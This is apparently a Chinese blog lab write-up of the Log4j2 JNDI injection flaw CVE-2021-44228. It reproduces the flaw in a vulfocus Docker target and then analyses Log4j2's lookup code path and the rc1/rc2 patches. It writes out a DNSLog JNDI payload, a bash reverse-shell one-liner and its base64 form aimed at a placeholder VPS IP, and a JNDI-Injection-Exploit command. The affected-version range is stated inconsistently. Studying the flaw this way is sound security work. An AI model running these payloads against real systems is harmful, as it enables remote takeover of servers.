CVE-2021-44228
一、漏洞介绍
1、洞基本信息
- CVE编号:CVE-2021-44228
- 漏洞类型:远程代码执行(RCE)
- 影响版本:Apache Log4j2 2.0-beta9 至 2.14.119。
- 风险等级:高风险(CVSS评分10.0),可导致服务器被完全控制
2、漏洞基本原理
核心机制
- Log4j2的日志处理功能支持通过
${}
语法调用动态内容解析(Lookup
功能)。攻击者可通过构造包含jndi:ldap://
或jndi:rmi://
的恶意字符串(如${jndi:ldap://攻击者服务器/恶意类}
),触发JNDI(Java命名和目录接口)解析。 - JNDI注入:Log4j2在解析日志时,会通过JNDI从远程服务器加载恶意类(如LDAP/RMI服务),并在目标服务器上执行。
- 利用链:攻击者需搭建恶意LDAP/RMI服务器,托管包含恶意代码的.class文件,通过日志记录触发目标服务器加载并执行该文件。
技术细节
- 关键代码路径:
MessagePatternConverter
类的format
方法解析日志中的${}
语法,调用StrSubstitutor
递归处理变量,最终通过lookup()
方法加载远程资源。
二、环境搭建
使用docker搭建vulfocus的漏洞靶场:
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest
浏览器访问127.0.0.1,部署成功
Linux攻击机
我使用的是一台VPS,其IP在本文中以111.111.11.111代替
实验图片中显示的监听端口是1222,但是我在文本中使用1111代替
(究其原因就是懒了,不想再改)
三、DNSLog验证漏洞
通过DNSLog平台获取到域名ym0vhs.dnslog.cn
,
构造payload:${jndi:ldap://ym0vhs.dnslog.cn}
,
浏览器点击?????
并使用Burpsuite进行抓包并替换payload参数,
传参时需要进行URL编码
在DNSLog网站成功接收到解析记录:
四、JNDI注入反弹shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用,下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用方式如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
接下来我们构建反弹shell指令(与常用的构建方法一样)
详细构建方法可以参考我的另一篇blog:回显外带之反弹shell与DNSlog外带
bash -i >& /dev/tcp/111.111.11.111/1111 0>&1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExLjExMS8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}'
// 这里echo后的内容是是 bash -i >& /dex/tcp/111.111.11.111/1111 0>&1 的base64编码
编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定VPS的IP地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExLjExMS8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}'" -A 111.111.11.111
并同时在新的终端监听端口
替换工具生成的payload:rmi://111.111.11.111:1099/xsbk0a
到Burpsuite
同样,我们要先拼接为完整的payload:
payload=${jndi:rmi://111.111.11.111:1099/xsbk0a}
URL编码后发送至靶机
监听窗口成功接收到反弹的shell,这样我们就获得了靶机终端的操作权限
五、原理分析与思考
1、基本原理介绍
1.1 Log4j2
Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。
因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:
Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar
,一个是具体实现log4j-core-${版本号}.jar
。Log4j只有一个jar包log4j-${版本号}.jar
。
Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
Log4j2的package名称前缀为org.apache.logging.log4j
。Log4j的package名称前缀为org.apache.log4j
。
1.2 Log4j2 Lookup
Log4j2的Lookup
主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。
下面是一个简单的Java Lookup例子和输出:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
public class Log4j2Lookup {
public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);
public static void main(String[] args) {
ThreadContext.put("userId", "test");
LOGGER.error("userId: ${ctx:userId}");
}
}
从上面的例子可以看到,通过在日志字符串中加入${ctx:userId}
,Log4j2在输出日志时,会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似${type:var}
,即可以实现对变量var的引用。type可以是如下值:
ctx
:允许程序将数据存储在 Log4j ThreadContext Map 中,然后在日志输出过程中,查找其中的值。env
:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}。java
:允许查找Java环境配置信息。例如:${java:version}。jndi
:允许通过 JNDI 检索变量。
……
其中和本次漏洞相关的便是jndi
,例如:${jndi:rmi//127.0.0.1:1099/a}
,表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a
上的变量内容。
1.3 JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。
例如使用数据库,需要在各个应用中配置各种数据库相关的参数后使用。通过JNDI,可以将数据库相关的配置在一个支持JNDI服务的容器(通常Tomat等Web容器均支持)中统一完成,并暴露一个简洁的名称,该名称背后绑定着一个DataSource对象。各个应用只需要通过该名称和JNDI接口,获取该名称背后的DataSource对象。当然,现在SpringBoot单体发布模式,极少会使用这种方式了。
再举个更简单的例子,这有点类似DNS提供域名到IP地址的解析服务。域名简洁易懂,便于普通用户使用,背后真正对应的是一个复杂难记的IP,甚至还可能是多个IP。DNS即JNDI服务,域名即可用于绑定和查找的名称,IP即该名称绑定的真正对象。用现代可以类比的技术来说,JNDI就是一个对象注册中心。
JNDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口,JNDI SPI是具体实现,应用程序需要指定具体实现的SPI。
下面是一个简单的例子:
public interface Hello extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello {
public HelloImpl() throws java.rmi.RemoteException {
super();
}
@Override
public String sayHello(String from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
return "sayHello";
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class HelloServer {
public static void main(String[] args) throws RemoteException, NamingException {
LocateRegistry.createRegistry(1099);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, “com.sun.jndi.rmi.registry.RegistryContextFactory”);
System.setProperty(Context.PROVIDER_URL, “rmi://localhost:1099”);
InitialContext context = new InitialContext();
context.bind(“java:hello”, new HelloImpl());
context.close();
}
}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class HelloClient {
public static void main(String[] args) throws NamingException, RemoteException {
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, “com.sun.jndi.rmi.registry.RegistryContextFactory”);
System.setProperty(Context.PROVIDER_URL, “rmi://localhost:1099”);
InitialContext context = new InitialContext();
Hello rmiObject = (Hello) context.lookup(“java:hello”);
System.out.println(rmiObject.sayHello(“world”));
context.close();
}
}
先运行HelloServer,再运行HelloClient,即可看到运行输出的结果:sayHello。
HelloServer将HelloImpl对象绑定到java:hello名称上。HelloClient使用java:hello名称,即可获取HelloImpl对象。
1.4 JNDI注入
Java JNDI注入原理研究
这是一篇讲解JNDI注入的文章,可供参考
2、漏洞原理
查看了诸位大佬的讲解,都是用Logger.error()
方法来进行演示
那么,具体漏洞环境代码如下所示:
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;
public class Log4jTEst {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4jTEst.class);
logger.error("${jndi:ldap://2lnhn2.ceye.io}");
}
}
首先将断点断在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java
中的directEncodeEvent
方法上,该方法的第一行代码将返回当前使用的布局,并调用对应布局处理器的encode
方法。log4j2默认缺省布局使用的是PatternLayout
,如下图所示:
继续跟进在encode
中会调用toText
方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的StringBuilder
中。
接下来会调用serializer.toSerializable
,并在这个方法中调用不同的Converter
来处理传入的数据,如下图所示,
这里整理了一下调用的Converter
org.apache.logging.log4j.core.pattern.DatePatternConverter
org.apache.logging.log4j.core.pattern.LiteralPatternConverter
org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
org.apache.logging.log4j.core.pattern.LevelPatternConverter
org.apache.logging.log4j.core.pattern.LoggerPatternConverter
org.apache.logging.log4j.core.pattern.MessagePatternConverter
org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter
这么多Converter
都将一个个通过上图中的for
循环对日志事件进行处理,当调用到MessagePatternConverter
时,我们跟入MessagePatternConverter.format()
方法中
在MessagePatternConverter.format()
方法中对日志消息进行格式化,其中很明显的看到有针对字符$
和{
的判断,而且是连着判断,等同于判断是否存在${
,这三行代码中关键点在于最后一行
此时的workingBuilder
是一个StringBuilder
对象,该对象存放的字符串如下所示
09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}
本来这段字符串的长度是82,但是却给它改成了53,为什么呢?
因为第五十三的位置就是$
符号,也就是说${jndi:ldap://2lnhn2.ceye.io}
这段不要了,从第53位开始append
。
而append
的内容是什么呢?可以看到传入的参数是config.getStrSubstitutor().replace(event, value)
的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}
这段字符串。replace
的作用简单来说就是想要进行一个替换,我们继续跟进
经过一段的嵌套调用,来到Interpolator.lookup
,这里会通过var.indexOf(PREFIX_SEPARATOR)
判断:
的位置,其后截取之前的字符。截取到jndi然后就会获取针对jndi的Strlookup
对象并调用Strlookup
的lookup
方法,如下图所示
那么总共有多少Strlookup
的子类对象可供选择呢,可供调用的Strlookup
都存放在当前Interpolator
类的strLookupMap
属性中,如下所示
说到这里,我们已经详细了解了logger.error()
造成RCE的原理。
3、漏洞的多次修复
在Apache log4j2漏洞大肆传播的当天,log4j2官方发布的rc1补丁就传出又被绕过的消息.同一天内,网络传出log4j2-2.15.0-rc1
安全更新被绕过,天融信阿尔法实验室第一时间进行验证,发现绕过存在,并将处置方案内的升级方案修改为log4j2-2.15.0-rc2
详细讲解可参考这篇文章:Log4j 0day之rc1与rc2 有趣的绕过
简单来说:
log4j2-2.15.0-rc1
采取了以下措施:
- 默认禁用消息查找功能:在
MessagePatternConverter
类中,默认关闭了${}
语法的查找功能,防止在日志消息中解析并执行潜在的恶意查找语句。 - 引入白名单机制:在
JndiManager
类中,增加了对协议和域名的白名单验证,仅允许特定的协议(如 java、ldap、ldaps)和受信任的域名进行 JNDI 查找操作,从而限制了不安全的外部资源加载。 - 禁止加载远程代码库:在
JndiManager
中,禁止从远程服务器加载 Java 对象工厂(javaFactory),避免通过不受信任的代码库加载恶意类。
log4j2-2.15.0-rc2
采取了以下措施:
- 改进异常处理:在
JndiManager.lookup()
方法中,增加了对URISyntaxException
异常的捕获。当捕获到该异常时,方法会直接返回 null,避免继续处理可能存在风险的 JNDI 查找请求。
六、参考文章
https://www.cve.org/CVERecord?id=CVE-2021-44228
https://www.anquanke.com/post/id/263325
https://www.anquanke.com/post/id/264176
https://logging.apache.org/log4j/2.x/manual/lookups.html
https://logging.apache.org/log4j/2.x/manual/layouts.html
https://mp.weixin.qq.com/s/_qA3ZjbQrZl2vowikdPOIg
https://blog.topsec.com.cn/java-jndi%e6%b3%a8%e5%85%a5%e7%9f%a5%e8%af%86%e8%af%a6%e8%a7%a3/